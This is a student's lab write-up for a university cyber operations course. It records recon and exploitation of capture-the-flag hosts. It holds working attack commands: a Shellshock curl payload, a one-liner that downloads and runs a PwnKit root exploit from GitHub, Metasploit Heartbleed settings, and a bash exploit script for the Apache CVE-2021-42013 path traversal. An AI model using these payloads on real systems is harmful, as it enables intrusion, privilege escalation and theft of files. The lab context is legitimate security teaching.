Lab #3: Reconnaissance
CSE 3801 : Introduction to Cyber Operations
Team: Tyler Dionne

Target 1 (initial recon):
Which version of apache is running on cse3801-recon-shellshock.chals.io?
Solution:
To do this used the following command:

```
$ nmap cse3801-recon-shellshock.chals.io -p 443 -sV
```

Which resulted in the answer: “Apache/2/2/22”

Target 2 (initial recon):
Connect to the workstation (https://cse3801-recon-pwnkit.chals.io/) using the credentials user:cse3801. What version of policykit-1 is installed on the server?
Solution:
To do this used the following command after connecting to the workstation:

```
$ apt list | grep policykit-1
```

Which resulted in the answer: “0.105-26ubuntu1.3”

Target 3 (initial recon):
What version of Apache is running on https://0.cloud.chals.io:14175?
Solution:
To do this used the following command:

```
$ nmap 0.cloud.chals.io -p 14175 -sV | grep Apache
```

Which resulted in the answer “Apache httpd 2.4.10”.

Target 4 (initial recon):
What version of Apache is running on https://cse3801-recon-apache.chals.io?
Solution:
To do this used the following command:

```
$ nmap cse3801-recon-apache.chals.io - p 443 -sV | grep Apache
```

Which resulted in the answer “Apache httpd 2.4.50”.

Target 0 (initial recon):
Which service is Morris Blue running on 0.cloud.chals.io 16412?
Solution:

To do this used the following command:

```
$ nmap 0.cloud.chals.io -p 16412 -sV
```

Which resulted in the answer “ssh”.

Target 1:
Retrieve /tmp/flag.txt from the vulnerable apache web server (https://cse3801-recon-shellshock.chals.io/cgi-bin/vulnerable) using the vulnerability in the cgi-bin/vulnerable directory.
Solution:
Using the information we collected in the initial recon we know that the server is using Apache/2.2.22 and we also know that there is a shellshock vulnerability on Apache web servers running Bash Version 4.3 and earlier.
To retrieve the flag used the following command:

```
$ curl -A '() { :;}; echo "Content-Type: text/plain"; echo;
/bin/cat /tmp/flag.txt /'
https://cse3801-recon-shellshock.chals.io/cgi-bin/vulnerable/
```

This command displayed the flag.

Target 2:
Connect to the workstation (https://cse3801-recon-pwnkit.chals.io/) using the credentials user:cse3801.Retrieve the flag from /root/flag.txt.
Solution:
Upon connecting to the workstation the following pwnkit one liner was used to gain root privileges on the workstation:

```
$ sh -c "$(curl -fsSL
https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
```

Upon running this command inside of the workstation and gaining root privileges, I could change into the root directory and display the flag.

Target 3:
Some bleeding heart stood up a website at https://0.cloud.chals.io:14175. Heal their heart and capture the flag.
Solution:
The first step was to connect to the metasploit console using the following commands:

```
$ msfconsole
msf6 > set verbose true
```

Then used the clue presented in the challenge description to search for “heartbleed” using “search heartbleed” which returned known exploits containing the keyword heartbleed. Upon

selecting the second presented exploit, setting the variables, and running the exploit the flag was displayed.

```
$ use 1
set targeturi 0.cloud.chals.io:14175
set rhosts 165.227.210.30
set rport 14175
set cmd /bin/ls
run
```

Target 4:
Bring back the /tmp/flag.txt from https://cse3801-recon-apache.chals.io.
Solution:
Using one of the documents presented in the second hint for the challenge there was information regarding the path traversal vulnerability along with an example. After reviewing the example and making a file named cve-2021-42013.sh with the following exploit code:

```
#!/bin/bash
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo "Usage:"
echo " $0 127.0.0.1 /etc/passwd"
echo " $0 127.0.0.1 /bin/sh id"
exit
fi
curl -s --path-as-is -d "echo Content-Type: text/plain; echo;
$3"
"$1/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%6
5% %32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"
```

Then, the following command gained access to the shell and after navigating to the correct directory the flag was displayed.

```
$ ./cve-2021-42013.sh https://cse3801-recon-apache.chals.io/
/bin/sh "cd /tmp/ && cat flag.txt"
```

Target 0:
Bring back the flag from Morris Blues home directory at on the system at 0.cloud.chals.io -p 16412
Solution:
To complete this challenge ssh had to be used to connect to the system. In order to connect to the system a password for the user morris blue had to be obtained. This was done by finding the username morris blue in the list of cracked passwords from a past lab assignment. Upon recovering the password for the user, using ssh to connect to the system, and entering the password, access to the system was granted and the flag could be displayed.